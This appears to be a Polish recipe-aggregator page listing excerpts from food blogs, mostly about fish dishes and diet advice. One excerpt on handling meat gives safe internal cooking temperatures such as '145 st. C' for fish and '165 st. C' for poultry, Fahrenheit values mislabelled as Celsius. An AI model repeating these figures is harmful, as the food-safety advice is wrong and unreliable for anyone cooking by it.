Sashimi z polędwicy wołowej z wakame 33

Sashimi z polędwicy wołowej z wakame . Sashimi głównie kojarzy nam się z rybą, ale sashimi to sposób serwowania surowego mięsa pokrojonego w cienkie plasterki lub kostkę. Podawać tak można ryby, owoce morza i wołowinę. Dzisiaj proponuję sashimi z polędwicy wołowej z goma wakame, według przepisu Jarosława Uścińskiego, promotora polskiej wołowiny. Do przygotowania dania można użyć suszonych glonów, ja proponuję gotową

królestwo garów
Z lodówki prosto na stół – zaskocz znajomych pysznymi przekąskami na zimno! 53

przed zaserwowaniem głównego dnia. Przygotowanie łososiowych rollsów jest dziecinnie proste. Jedyne, czego potrzebujesz, to ugotowane na twardo jajko, cebula i kapary. Wszystko drobno posiekaj a następnie ułóż na kawałku ryby i zwiń w roladkę. Całość delikatnie skrop sokiem z cytryny. Pyszna, słona przekąska na zimno gotowa! Szaszłyki Caprese Zachwycają swoją prostotą – są pyszne, lekkie i bardzo zdrowe, a w dodatku(...)kanapeczki to prawdziwy imprezowy hit. Taka przekąska na jeden kęs szybko zaspokoi pierwszy głód i rozpieści kubki smakowe. Kompozycje są kwestią Twojego gustu – możesz przygotować wytrawne mini kanapeczki z rybą, chudą wędliną czy serem lub postawić na wersję słodką i zaserwować je z konfiturą czy masłem orzechowym. Twoi goście będą zachwyceni, jeśli postawisz na urozmaiconą wersję tych małych przekąsek! Sałatki

ProstePesto.pl
Czym jest keto dieta? 48

kurczaka, udka z kurczaka, piersi z indyka, mieloną wołowinę, schab, wątróbkę, boczek. Jednak mięso to nie wszystko. Na diecie keto, ze względu na niską zawartość węglowodanów, można spożywać również ryby i owoce morza, takie jak, np. łosoś, makrela, tuńczyk, krewetki, homary czy małże. Ryby i owoce morza to też doskonałe źródło omega-3, białka i witaminy D. W diecie keto

Słodkie okruszki
Najlepsze przepisy na dania z sezonowych warzyw 41

daniach z piekarnika. Na przykład, zapiekane warzywa z ziołami i oliwą to proste, ale smaczne danie, które można podać jako samodzielne danie lub jako dodatek do mięsa czy ryby. innym klasycznym daniem jest tarta warzywna, w której sezonowe warzywa, takie jak pomidory, cukinia, bakłażan czy szparagi, tworzą pyszne i kolorowe nadzienie. Dania z sezonowych warzyw-tarta ze szparagami. Warzywa(...)bazylii czy cukinii. Risotto z warzywami, takie jak szparagi, groszek czy spzinak, to smaczne i pożywne danie, które można podać jako samodzielne danie lub jako dodatek do mięsa czy ryby. Podsumowanie Sezonowe warzywa są nie tylko smaczne, ale także pełne składników odżywczych. Wykorzystanie ich w kuchni pozwala nam cieszyć się świeżością i naturalnym smakiem. Klasyczne dania, takie jak sałatki, zapiekanki

Moja Książka Kucharska
Cellulit. Czy można się go pozbyć dzięki odpowiedniej diecie? 36

proces odtruwania i ujędrniania skóry. Wprowadźmy do menu kasze, kiełki zbóż, drożdże i jajka , które są bogactwem witamin z grupy B. Postawmy na źródła kwasów tłuszczowych omega-3, czyli: ryby i owoce morza. Nadają one naszej skórze piękny i promienny wygląd i regulują krążenie. W diecie nie powinno zabraknąć także orzechów , pestek i nasion , awokado oraz oliwy z oliwek. Tutaj(...)boryka się z zupełnie innymi problemami. Każdy z nas musi znaleźć rozwiązanie idealne dla siebie na ten moment. Przeczytaj także: Zasada 6U kluczem do zdrowia! Śledź, czyli super ryba. Na podstawie: E. Kosowicz: „Dieta antycellulitowa”. Jeśli chcesz być na bieżąco ze zdrową i smaczną dietą, śledź mnie na  Facebooku  i  Instagramie    Tam częściej

Natka Pietruszki
Sałatka z makaronem i tuńczykiem. 53

wegetariańskiej. Jedno opakowanie jest idealne dla czteroosobowej rodziny. Makarony są dostępne w czterech rodzajach: kolanka, spaghetti, świderki i penne. Każdy z nas znajdzie swój ulubiony rodzaj. Tuńczyk jest rybą o wysokiej zawartości białka i wartościach odżywczych. Jest rybą niskokaloryczną. Jedzenie tuńczyka obniża ciśnienie krwi, wzmacnia kości, zapewnia prawidłowe funkcjonowanie mięśni i układu oddechowego. Korzystnie wpływa na układ nerwowy, kondycję oczu

Zdrowy Styl Joanny
Grillowanie w domu – dlaczego warto zainwestować w grill elektryczny 51

Zamiast węgla drzewnego lub gazu, wykorzystuje on energię elektryczną do podgrzewania swojej powierzchni grzewczej. Gdy grill osiąga odpowiednią temperaturę, można na nim przygotować potrawy takie jak mięso, warzywa czy ryby. Grille elektryczne wyposażone są zazwyczaj w termostat, który pozwala na precyzyjne kontrolowanie temperatury, co ułatwia przygotowywanie różnorodnych potraw. Dzięki temu, nie musimy obawiać się o przegrzewanie produktów, co jest istotne(...)przypadku delikatnych składników takich jak ryby. Zobacz także: Grill elektryczny marki Bosch https://www.bosch-home.pl/lista-produktow/gotowanie-i-pieczenie/grille-elektryczne Jak korzystać z grilla elektrycznego? Korzystanie z grilla elektrycznego jest proste i wygodne. Przed rozpoczęciem grillowania należy upewnić się, że urządzenie jest umieszczone na stabilnej i odpornym na wysokie temperatury podłożu. Następnie należy podłączyć go do źródła zasilania i ustawić żądaną temperaturę na termostacie

Słodkie okruszki
Sałatka jarzynowa 48

propozycji, z czym można podawać sałatkę warzywną: Jako danie główne - sałatka jarzynowa może być podana jako samodzielne danie, które można urozmaicić dodając do niej kawałki pieczonego kurczaka, kawałki wędzonej ryby lub tuńczyka. Z mięsem - sałatka warzywna to idealne danie dodatkowe do różnego rodzaju mięs i wędlin. Doskonale sprawdzi się  jako dodatek do schabu, pieczeni, kotletów mielonych czy pieczonej piersi(...)jest prosty i szybki w przygotowaniu, a przy tym sałatka jest bardzo smaczna i sycąca. Można ją podawać jako danie główne, ale również jako dodatek do mięs, wędlin lub ryb. Mam nadzieję, że przepis na sałatkę jarzynową spodoba się Tobie i Twoim bliskim :) Korzystaj z niego i koniecznie ulepszaj :) Miłego gotowania

Moja Książka Kucharska
Uporządkuj swoje hormony! Premiera mojej nowej diety gotowej :) 38

nabiału w postaci jogurtu naturalnego oraz kefiru, co przełoży się korzystnie na stan naszej mikroflory). W jadłospisie oczywiście nie ma miejsca na cukier i jego zamienniki! Jadłospis zawiera dużo ryb , ponieważ korzyści płynące z kwasów tłuszczowych omega-3 obecnych właśnie w rybach są nieocenione! Posiłki są stworzone na bazie nieprzetworzonych produktów. W menu uwzględniono mięso , w tym dobrej jakości mięso

Natka Pietruszki
Lego creator - egzotyczna papuga 37

zwierzęta z lasu deszczowego. Są tak skonstruowane by dawać dużo możliwości do zabawy i radości nie tylko podczas budowania. W tym konkretnym zestawie znajdziemy papugę na drzewie, rybę na dnie morza oraz sympatyczną żabkę. Żeby było jeszcze ciekawiej, każdy zwierzę ma ruchome elementy, papuga potrafi obracać się na gałęzi oraz poruszać skrzydłami i ogonem. Ryba unosi płetwy i pływa

Cynamonowe szczęście
Little Jack Fullers, czyli ryba z frytkami poziom olimpijski... 51

sąsiedzku z supermarketami Morrisons i Sainsbury's (jeśli ktoś miałby ochotę dokupić coś na deser, albo do picia).  A jeśli chodzi o jedzenie: na pewno się nie zawiedliśmy! Ryba była pyszna! Ciasto chrupiące i gorące, a porcje hojne.  Menu jest bardzo zwarte - uwielbiam! Zawsze wychodziłam, z założenia, że jeśli chcę sobie coś poczytać, to na pewno znajdę dobrą(...)dobrać dodatki (groszek, konserwowane ogórki, jajka, albo cebulę, sos curry). Ale, co najważniejsze, zwłaszcza w tym specyficznym XXI wieku, można wybrać wersje/opcje wegańskie: marynowane tofu, albo kwiat bananowca zamiast ryby, jackfruit zamiast krewetek i kalafior zamiast skrzydełek z kurczaka.  Co jeszcze? Dobrze jest sprawdzić godziny otwarcia: Little Jack Fullers ma przerwę w połowie dnia

Lejdi of the house
Sałatka we włoskim stylu z pieczonym łososiem 35

Składniki: 300 g łososia sól chili 2 gałązki pomidorków kilka czarnych oliwek 2 cząstki cytryny  2 garście różnych sałat oliwa z oliwek ząbek czosnku kilka liści bazylii Przygotowanie: Rybę podzielić na dwie części. Posolić i doprawić chili. Obrać czosnek. Na patelni rozgrzać oliwę i dodać cały czosnek aby zaromatyzować oliwę. Włożyć rybę skórą do dołu. Smażyć kilka minut. Przewrócić

AZgotuj!
Jak uniknąć strat po świętach 56

pomysły na zagospodarowanie resztek ze świątecznego stołu Co można mrozić: gotowane, pieczone, wędzone mięsa, wędliny, ryby pasztety mięsne i warzywne zupy np żurek, chrzanowa, barszcz – choć można też je zawekować by nie zajmowały miejsca w zamrażarce bigos, kapusta z grochem, gulasz pieczywo ciasta np babki, mazurki, serniki, makowce oprócz tych z galaretką czy z kremem czekoladę – jeśli dostaniecie(...)nadmiar czekoladowych zajączków pierogi, uszka śledzie surowe, śledzie w oleju pascha z twarogu Czego lepiej nie mrozić: galarety – ciasta z galaretką, mięso w galarecie, ryby w galarecie, nóżki, galaretki warzywne ciasta z kremem ugotowane jajka, faszerowane jajka pasztet z jajek śledzie w śmietanowych i jogurtowych sosach sałatki jarzynowej wymieszanej z jogurtem, inne sałatki dań, które wcześniej były mrożone Artykuł

Dorota Smakuje
Pyszne sałatki wielkanocne 280

Sałatka z pieczarkami i bulgurem Z mięsem Sałatka z kurczakiem i winogronami Sałatka hawajska Włoska sałatka z kurczakiem – Insalata di pollo Sałatka brokułowa z kurczakiem, kukurydzą i orzechami Z rybą Sałatka z tuńczykiem, szparagami i groszkiem cukrowym Włoska sałatka z jajkiem Sałatka z rybą wędzoną Sałatka z łososiem wędzonym Włoska sałatka makaronowa z tuńczykiem i suszonymi pomidorami Sałatka z krewetkami

Dorota Smakuje
Twarde jedzenie – wady i zalety 44

diety. Zadbać trzeba oczywiście między innymi o dostarczenie zębom odpowiednich mikroelementów, takich jak wapń i fosfor, oraz witaminy D, A i C, które znaleźć można na przykład w nabiale, rybach, maśle i margarynie oraz surowych owocach i warzywach – truskawkach i porzeczkach, w brokułach i marchewkach. To właśnie o te twarde warzywa najczęściej spierają się spece od higieny jamy ustnej(...)Witamina D zadba o przyswajanie wapnia i fosforu, kluczowych składników budulcowych zębów odpowiedzialnych za ich twardość. Ją również znajdziemy w nabiale – mleku, jogurtach i jajkach – a także w tłustych rybach. Witamina C zadba o nasze dziąsła, a znajdziemy ją w orzechach włoskich lub laskowych oraz w nasionach słonecznika.  Materiał partnera

Kulinarnyblog.pl - wiesz jak gotować!
Jajka faszerowane wędzonym łososiem 55

Następnie doprawić solą i pieprzem. Smacznego (adsbygoogle = window.adsbygoogle || []).push({}); To też może Cię zainteresować: → Jajka faszerowane tuńczykiem i twarogiem → Jajka faszerowane awokado → Jajka faszerowane szynką i szczypiorkiem → Pasta wędzonej ryby i jajek → Jajka zięcia Artykuł Jajka faszerowane wędzonym łososiem pochodzi z serwisu Oryginalny smak

Oryginalny smak
PCOS – dietoterapia, suplementacja i przykładowe menu na 1 dzień. 43

zapoznania się z gotowymi, sezonowymi jadłospisami z niskim IG dostępnymi w moim internetowym sklepie . Poleca się włączenie produktów będących źródłem wielonienasyconych kwasów tłuszczowych z rodziny omega-3 (ryby morskie, awokado , orzechy , siemię lniane ). Zdrowe tłuszcze powinny być obecne każdego dnia w diecie. Rezygnujemy z żywności przetworzonej, kolorowych napojów, sklepowych słodyczy, fast foodów. Dbamy o odpowiednią zawartość cennego błonnika pokarmowego(...)Włączamy do diety źródła cennych polifenoli , np. niskocukrowe owoce jagodowe. Dbamy o odpowiednią zawartość białka w diecie, co jest kluczowe podczas odchudzania . Dobre źródła białka, to: chude mięso, jaja , ryby, tofu, strączki , sery. Dieta musi być dopasowana indywidualnie w zależności od potrzeb danej osoby, jej preferencji, czy aktywności fizycznej. Rezygnujemy z dosalania potraw, na rzecz świeżych i suszonych ziół

Natka Pietruszki
Sum w sosie piernikowym 37

Staropolski, zapomniany przepis. Sos piernikowy dla niektórych może wydawać się dziwny, ale do ryby pasuje idealnie. Zamiast suma można użyć karpia i mamy nowe danie wigilijne. Składniki na 2 porcje: ? 2 filety z suma ? 4 pierniczki Katarzynki ? 2 szalotki ? 1 szklanka bulionu warzywnego ? 1 łyżka miodu ? 100 ml wina czerwonego wytrawnego ? sól, pieprz do smaku ? 2 łyżki masła klarowanego ? mąka(...)pokrojone w drobną kostkę, posolić i poddusić. ? Dodać pierniczki pokrojone w drobną kostkę, wino, bulion i miód. ? Pogotować aż sos zgęstnieje, doprawić solą i pieprzem. ? Sos przetrzeć przez sitko. ? Rybę posypać solą i pieprzem, oprószyć mąką i usmażyć na rozgzranym maśle na złoty kolor. ? Podawać na ciepło z sosem piernikowym . Przepis ten pochodzi z warsztatów kulinarnych AEP Makro – Dary

To co kocham
Sandacz w sosie z kiszonych ogórków po staropolsku 39

Ciekawa propozycja na wigilijny stół i nowa odsłona ryby czyli sandacz po staropolsku. Stary zapomniany przepis. Składniki na 2 porcje ? 1 filet z sandacza ? 2 ogórki kiszone ? 2 szalotki ? 1 szklanka śmietany 30% ? sól, pieprz biały i cytrynowy do smaku ? 3 łyżki masła klarowanego Wykonanie: ? Na maśle posmażyć szalotkę pokrojoną w kostkę. ? Dodać obrane ze skórki i pokrojone w kosteczkę(...)ogórki, podlać śmietaną. ? Dusić sos aż zredukuje objętość, przyprawić solą i pieprzem białym. ? Usmażyć na maśle filet z sandacza posypany solą, pieprzem cytrynowym i oprószony mąką. ? Podawać rybę z sosem ogórkowym na ciepło. Przepis pochodzi z warsztatów AEP Makro Dary lasu

To co kocham
Sandwich z pstrąga z szafranowym risotto 41

cebula Risotto ? 3/4 szklanki ryżu arborio ? 1 cebula ? 100 ml białego wina ? 3/4 litra bulionu warzywnego ? szczypta szafranu ? 2 łyżki masła ? 2 łyżki parmezanu ? gotowy sos balsamiczny Wykonanie: ? Rybę obrać ze skóry i pokroić w jednakowej wielkości prostokąty. ? Do naczynia do pieczenia wlać wino i bulion oraz pokrojoną cebulę. ? Ułożyć na cebuli kawałki ryby i przykryć. ? Gotować na wolnym ogniu

To co kocham
Pasta z wędzonej makreli 38

Bardzo smaczna pasta do smarowania chleba na bazie wędzonej ryby z majonezem i keczupem. U nas zniknęła błyskawicznie! Ma konkretny smak za sprawą przypraw. Do kanapki z tą pastą pasuje ogórek lub papryka konserwowa. Składniki: ? 1 duża wędzona makrela ? 100 g sera żółtego ? 4 łyżki majonezu ? 4 łyżki keczupu pikantnego ? sok z 1/2 cytryny ? 1 łyżka posiekanego koperku ? sól, pieprz(...)smaku ? chleb do wyboru Wykonanie: ? Makrelę obrać ze skóry i ości i rozdrobnić. ? Ser żółty zetrzeć na drobnej tarce. ? Wymieszać rybę z serem, majonezem i keczupem. ? Doprawić solą i pieprzem, dodać koperek. ? Podawać wyciśnięty na okrągły pumpernikiel lub z innym chlebem. ? Można również podawać na krakersach

To co kocham
Dorsz w zapiekance tortowej 40

Przy okazji konkursu kreatywnego z udziałem włoszczyzny i ryby w roli głównej powstało to danie, które może być również wigilijnym. Dorsz w towarzystwie omletu i puree marchewkowego, puree selerowo-pietruszkowego, podane w formie zapiekanki tortowej.Trochę zabawy z tym daniem, ale fajny efekt końcowy i oczywiście, co najważniejsze: smak. Składniki: ? 500 g dorsza ? 1 por ? 5 średnich marchewek ? 1 średni(...)dorsza pokroić w kostkę i skropić sokiem z cytryny. ? Pora umyć, pokroić w półkrążki białą i część zielonej łodygi. ? Rozgrzać 2 łyżki oleju i podsmażyć pora. Wymieszać z rybą i 1 jajkiem, doprawić solą i pieprzem. ? Roztrzepać 3 jajka z odrobiną soli i pieprzu, dodać 1 łyżkę natki pietruszki i usmażyć omlet na odrobinie oleju. ? Średnią tortownicę wysmarować olejem

To co kocham
Tilapia w sosie keczupowym 39

kwaśnej ? 1/4 szklanki keczupu pikantnego ? 1 łyżeczka chrzanu tartego ? 1 łyżka natki pietruszki ? olej do smażenia Wykonanie: ? Filety skropić sokiem z cytryny, posypać solą i białym pieprzem. ? Delikatnie obsmażyć rybę na oleju i ułożyć w naczyniu do zapiekania. ? Wymieszać razem śmietanę, keczup i chrzan, doprawić do smaku. ? Zalać przygotowanym sosem rybę i ułożyć na wierzchu ser żółty. ? Piec w piekarniku

To co kocham
Śledzie w czerwonym winie z suszonymi śliwkami 40

Śledzie są rybami morskimi, z których można wyczarować wiele smacznych, tradycyjnych i nowoczesnych dań. Najbardziej popularne są u nas śledzie w formie przekąsek czy sałatek przygotowywane na różne sposoby – z olejem, marynowane, z cebulką, jabłkami, orzechami, rodzynkami, warzywami czy korzenne. Na ostro, słono, kwaśno, słodko – dla każdego jakiś śledzik się znajdzie. Filety śledziowe solone a’la matjas(...)SEKO przygotowywane są z ryb najwyższej jakości ? ich mięsista konsystencja oraz charakterystyczny dla śledzi smak podkreślone zostały specjalnie skomponowaną zalewą smakową. Dawno nie jadłam tak smacznych śledzi. Muszę również przyznać, że nigdy ich wcześniej nie kupowałam, ale dzięki uprzejmości firmy SEKO mogę teraz delektować się ich smakiem. Przepisy na śledzie w każdym domu są inne. Warto więc czasem sięgnąć

To co kocham
Stek z tuńczyka 34

Tuńczyk jest rybą niskokaloryczną o dużej zawartości białka i wysokiej wartości odżywczej. Mięso tuńczyka charakteryzuje się ciemnym kolorem, od różowego po fioletowy. Tuńczyk to bogate źródło witamin, głównie witaminy A, D oraz witamin z grupy B i kwasy omega-3. Mają one korzystny wpływ na wygląd skóry, poprawiają działanie wzroku oraz wspomagają produkcję czerwonych krwinek. Przygotowanie steku z tuńczyka(...)najprostszy sposób na przygotowanie jakiejkolwiek ryby. Aby uzyskać stek krwisty, należy smażyć go na mocno rozgrzanej patelni po 1 minucie z obu stron, średnio wysmażony ? po 2 minuty, a dobrze wysmażony ? po 3 minuty. Ja smażyłam po 2,5 minuty z każdej strony i wyszedł idealny. Składniki: – 2 steki z tuńczyka o grubości 2 cm – 2 łyżki oliwy

To co kocham
Kolejność spożywania posiłków i jej znaczenie w kontekście glikemii 37

warzywach i owocach, najlepiej surowych . Przykładowo, jedząc tradycyjny obiad, warto rozpocząć od surówki i zjeść ją na samym początku. Na drugim miejscu warto sięgnąć po element białkowy , czyli: mięso, rybę, jaja , strączki . Wraz z białkiem sięgamy po tłuszcz , czyli: oliwę , awokado , orzechy . Na sam koniec powinniśmy zjeść produkty skrobiowe , czyli: kasza, ryż, makaron, ziemniaki, pieczywo, a także te bogate(...)pokarmowego, wówczas ten skok cukrowy nie będzie gwałtowny. Co więcej, ten korzystny wpływ będzie zauważony nawet jeśli sięgniemy po deser, ale dopiero na samym końcu uczty złożonej z: sałatki, ryby i np. kaszy. Klasycznym przykładem jest zjedzenie kawałka (albo nawet kilku…) kawałków pizzy na imprezie. Zdecydowanie korzystniejszym rozwiązaniem będzie najpierw sięgnąć po jakąś sałatkę (które również zwykle

Natka Pietruszki
Terrina z łososia, kopru włoskiego i jajek. 45

pietruszki. Na rozgrzanej patelni podsmażcie wszystkie warzywa z dodatkiem pokrojonego drobno łososia. Duście około 5 minut. Międzyczasie możecie podgotować fenkuła około 10 minut. Odcedźcie i wrzućcie do warzyw i ryby, podlejcie winem. I teraz albo rozgrzewacie piekarnik na 200 stopni i przygotowujecie potrawę w piekarniku, albo robicie ją na patelni. Na patelnię z warzywami wbijacie kilka jaj, przykrywacie aż się(...)zetną. Posypujecie bazylią, czarnuszką i dosmaczacie olejem lnianym. W piekarniku podobnie, również wbijacie jaja w dziurki które zrobicie łyżką w warzywach i rybie. Jeśli zauważycie, że potrawa jest za sucha, dolejcie do niej buliony warzywnego. Pieczcie nie więcej niż 10 minut, do ścięcia jaj.  Terrina z łososia, kopru włoskiego i jajek Terrina di salmone con finocchi. Piatto ricco

Z Kuchni Do Kuchni
Śródziemnomorskie keto (keyto) – najlepsza wersja diety keto? 53

warzyw i owoców (w szczególności zielone warzywa liściaste), zdrowych tłuszczów w postaci oliwy z oliwek , pełnoziarnistych zbóż, strączków oraz orzechów. Jeśli chodzi o mięso , to jadane są przede wszystkim ryby , owoce morza oraz drób , rzadziej mięso czerwone. Istotnym elementem diety są także jaja i nabiał. Jak widać, filar diety stanowią produkty pochodzenia roślinnego. Jak działa dieta śródziemnomorska? Co decyduje(...)założyć, że lepszym wyborem będzie dieta bazująca na tłuszczach jednonienasyconych. Dieta keto śródziemnomorska - przepisy Pora od teorii przejść do praktyki... Potrawy śródziemnomorskiej diety ketogenicznej będą zawierać zatem przede wszystkim ryby , owoce morza oraz drób jako źródło białka, oliwę z oliwek oraz awokado jako źródło tłuszczów jednonienasyconych oraz węglowodany w postaci niskowęglowodanowych warzyw (najlepiej zielonoliściaste). Sporo propozycji keto potraw kuchni śródziemnomorskiej

Modern Cave Girl
Surówka z kiszonej kapusty, marchewki i jabłka 73

Surówka z kiszonej kapusty. Surówka z kiszonej kapusty       Przepyszna surówka z kiszonej kapusty z marchewką, cebulą i jabłkiem. Chrupiąca, słodko-kwaśna. Jest świetnym dodatkiem do smażonej ryby ( przepis tutaj>>> ), albo panierowanych kotletów z kurczaka z parmezanem ( przepis tutaj>>> ). surówka z kiszonej kapusty jest bardzo prosta do zrobienia jest świetnym dodatkiem(...)minut, by smaki lepiej się przegryzły.  Surówka z kiszonej kapusty, marchewki i jabłka to doskonały dodatek do drugiego dania. Idealnie komponuje się z tłuczonymi ziemniakami i smażoną ryba lub panierowanymi kotlecikami z kurczaka. Mam nadzieję, że przepis na surówkę z kiszonej kapusty spodoba się Tobie i Twoim bliskim :) Korzystaj z niego i koniecznie ulepszaj. Miłego gotowania! Surówka z kiszonej

Moja Książka Kucharska
Śledź pomidorowy Tomatsild 49

przy dokach w oczekiwaniu na śledzie. Kiedy łodzie się zbliżyły, rozległy się niecierpliwe okrzyki: „Śledź jest tutaj!” przekształciłby się w śpiew. Następnie napełniali każde wiadro, beczkę i wózek srebrzystymi rybami. Pierwsze zapisane wzmianki o śledziu sięgają roku 1100 i miały kluczową rolę oczywiście w rozwoju Norwegii i całej Europy. Takie na przykład miasta jak Amsterdam i Kopenhaga powstały z historią(...)śledzia w tle. Jedzenie śledzi to holenderska tradycja. Przez stulecia połowy i eksport solonych śledzi były jednym z filarów holenderskiej gospodarki. Ta srebrzysta, oślizgła ryba jest częścią holenderskiej tożsamości narodowej dzięki skromnemu rybakowi śledzia. Cały tekst* Wiele wojen, okropnych trzeba dodać, prowadzonych przez Norwegów, Holendrów, Anglików na przestrzenie wieków, opierała się o-Śledzie – z racji oczywiście ilość ich połowów

RafalCook
Kapusta do obiadu 48

Dzisiaj mam dla Was pyszny przepis na kapustę w stylu azjatyckim. Jest to świetna przystawka do obiadu, która pasuje zarówno do mięsa jak i ryby. Tego typu surówkę na ciepło podaję również do pizzy zamiast tradycyjnej surówki do pizzy . Z kapusty można wyczarować bardzo fajne przepisy. Kupując kapustę nie jest moją intencją, aby kupić jak najmniejszą główkę. Zawsze mogę ugotować(...)wiele inny, a przede wszystkim krótszy. Smażona kapusta to typowa przystawka na ciepło. Z zimnych przystawek polecam coleslaw . Coleslaw z kapusty pasuje niemalże do każdego obiadu z mięsem, rybą, czy drobiem. Thai coleslaw to świetna przystawka do kurczaka satay. Przepis na kapustę 4 porcje Składniki: 500 g białej kapusty 4 łyżki sosu sojowego 2 łyżki octu ryżowego 1 łyżka Golden

codojedzenia
Jak rozmrażać mięso? Czy trzeba myć mięso – poradnik 59

się zarazek. Poza tym skorupka jajka to nie pancerz wodoodporny. Podczas mycia, zarazki z powierzchni jajka mogą przeniknąć przez pory w skorupce do środka. 5. Jak marynować mięso i ryby żeby nie mnożyć bakterii? Jak już wspomnieliśmy bakterie czują się doskonale w temperaturze pokojowej, dlatego jeśli marynujesz mięso nigdy nie trzymaj go na kuchennym blacie dłużej niż pół godziny. Najlepiej(...)wołowe, cielęce i jagnięce – 145 st. C Drób: kurczak, gęś, kaczka, indyk, piersi, skrzydełka, udka, z farszem – 165 st. C Schabowy, szynka wieprzowa – 145 st. C Ryby – 145 st. C 7. Czy po kontakcie z mięsem zawsze trzeba myć ręce? Przygotowując surowe mięso trzeba często myć ręce. Nie wystarczy opłukać dłonie: trzeba je dokładnie obmyć przez

Niedzielny kucharz
Smarowidło do chleba z tuńczykiem – prosty i szybki przepis 152

minut Szybka pasta kanapkowa z tuńczykiem – zrobisz w 15 minut Pasta do chleba z jajecznicy – najlepsza pasta jajeczna Awanturka – pasta do chleba z sardynkami w 10 minut Sałatka z rybą w oleju – pasta do chleba z rybą z puszki   Artykuł Smarowidło do chleba z tuńczykiem – prosty i szybki przepis pochodzi z serwisu e-PrzepisyKulinarne.pl

e-PrzepisyKulinarne
Reumatoidalne zapalenie stawów – jak wspomóc leczenie dietą? Plus konkretne przepisy z bloga :) 42

indeksie glikemicznym , aby nie powodować zbyt gwałtownych wahań poziomu glukozy i insuliny. Więcej na temat korzyści płynących z tego rodzaju diety pisałam tutaj . Istotne miejsce w menu powinny zająć ryby i owoce morza. To właśnie one stanowią naturalne źródło wielonienasyconych kwasów tłuszczowych z rodziny omega-3, które korzystnie wpłyną na stawy redukując stany zapalne. Ryby należy spożywać

Natka Pietruszki
Surówka z kiszonej kapusty, pora i marchewki 210

Dziś piątek, więc większość z Was zrozumie mój post. Post jako wpis, nie jako post, no wiecie. Jakoś odruchowo dość często jadamy ryby w piątki. Wczoraj wieczorem zapytałam My czy mam rozmrażać dorsza. Odpowiedź była oczywiście twierdząca. A jak ryba to oczywiście surówka z kiszonej kapusty (przynajmniej w sezonie jesienno-zimowym). I z reguły ziemniaki utłuczone na śmierć. Lubimy tego

Kardamonovy
Sos chrzanowy 55

pewno do jajek, ogólnie do zimnej płyty, w której będzie królować wieprzowina (ojeej, do pasztetu sprawdzi się świetnie). Jak się uprzecie można ten sos dodać do przyrządzonej wcześniej ryby lub po prostu jako dodatek do potraw z grilla. Do dzisiejszego przepisu użyłam chrzanu ze słoika, ale w sezonie chrzanowym na pewno użyję świeżego. Okolice Świąt Wielkanocnych? O tak, zdecydowanie. Wrócę(...)początku kwietnia. Jeżeli chodzi o dodatki, nie kombinowałam za bardzo. Miał być chrzan, ulubiony majonez, nabiał, podstawowe przyprawy i odrobina soku z cytryny. Kiedy będę robiła ten sos do ryb, dodam do niego poszatkowany koperek. Do potraw z grilla? Może czosnek, natkę pietruszki, zobaczę. Przeszły mi teraz przez myśl także kapary. Zaraz to sobie wszystko zapiszę, żeby

Kardamonovy
Roladki wieprzowe 44

Arek robił roladkę. Roladka była prosta, więc szybko do brzucha się przeniosła.  Ale poem żem pierdyknął na dzień dobry :D Tak więc drodzy moi mili, dziś nie o rybie pisać nie będę, choć ponoć świnia też ryba, pływać potrafi... Więc w te pędy do masarni, kupcie tyle karkówki, ile potrzebujecie, najlepiej rozbitej, bo machać tłuczkiem nie ma sensu, skoro

R'n'G Kitchen
Bezglutenowe ciasto serowo-jabłkowe – przepis krok po kroku 54

jabłkowe jest już gotowe. Teraz możemy je posypać cukrem pudrem lub polać polewą i udekorować   Wesołych Świąt i smacznego!   A jeśli szukacie przepisu na wigilijną potrawę z ryby, koniecznie zaglądnijcie tutaj: Ryba po rybacku na Wigilię – przepis krok po kroku Artykuł Bezglutenowe ciasto serowo-jabłkowe – przepis krok po kroku pochodzi z serwisu Okiem Blondynki

Okiem Blondynki by McBlondi
Dorsz z fenkułem. 39

Dorsz z fenkułem. Przepis na rybę według św. Hildegardy z Bingen. Dorsz z fenkułem. Od jakiegoś czasu staram się przyjrzeć z bliska żywieniu, które proponowała św. Hildegarda z Bingen. Dochodzę do wniosku, że jej dieta i sposób przygotowywania potraw są bardzo zbliżone do śródziemnomorskiej kuchni, co mnie naturalnie bardzo cieszy. W Hildegardowej kuchni mamy do czynienia ze świadomością w doborze(...)dodać pieprz. Całość jeszcze skropić  oliwą z oliwek z pierwszego tłoczenia  i włożyć do piekarnika na 15 minut.  Uwaga- zbyt długa obróbka termiczna sprawia, że każda ryba staje się sucha i traci smak. Przed podaniem skropić odrobiną soku z cytryny i ewentualnie posypać natką pietruszki.  I jak mówiła św. Hildegarda z Bingen : Jedz w spokoju

Z Kuchni Do Kuchni
Bezglutenowe ciasto serowo-jabłkowe – przepis krok po kroku 48

jabłkowe jest już gotowe. Teraz możemy je posypać cukrem pudrem lub polać polewą i udekorować   Wesołych Świąt i smacznego!   A jeśli szukacie przepisu na wigilijną potrawę z ryby, koniecznie zaglądnijcie tutaj: Ryba po rybacku na Wigilię – przepis krok po kroku Artykuł Bezglutenowe ciasto serowo-jabłkowe – przepis krok po kroku pochodzi z serwisu Okiem Blondynki

Okiem Blondynki by McBlondi
Klopsiki rybne na kwaśno 42

Zmielona surowa ryba z dodatkiem cebuli, jajka i bułki, a następnie formowana w klopsy i smażona, potem zalana zalewą octową. KLOPSIKI RYBNE NA KWAŚNO SKŁADNIKI 300 gramów surowego, niesolonego śledzia 200 gramów fileta z dorsza 1 nieduża makrela wędzona 2 spore cebule 1 jajko 2 łyżki mąki pszennej 2 łyżki bułki tartej 1 litr oleju... Artykuł Klopsiki rybne na kwaśno

Kuchnia Tomka
Zapiekanka ziemniaczana z łososiem. Doskonały pomysł na obiad z rybą. PRZEPIS 98

wciskając je w sos. Piecze w temp. 200 stopni przez 20-25 min. – aż wierzch lekko się zrumieni. Artykuł Zapiekanka ziemniaczana z łososiem. Doskonały pomysł na obiad z rybą. PRZEPIS pochodzi z serwisu Kulinarna Polska | Przepisy, gotowanie, jedzenie

Kulinarna Polska
Bezglutenowe ciasto serowo-jabłkowe – przepis krok po kroku 55

jabłkowe jest już gotowe. Teraz możemy je posypać cukrem pudrem lub polać polewą i udekorować   Wesołych Świąt i smacznego!   A jeśli szukacie przepisu na wigilijną potrawę z ryby, koniecznie zaglądnijcie tutaj: Ryba po rybacku na Wigilię – przepis krok po kroku Artykuł Bezglutenowe ciasto serowo-jabłkowe – przepis krok po kroku pochodzi z serwisu Okiem Blondynki

Okiem Blondynki by McBlondi
Noworoczny tort na wytrawnie 54

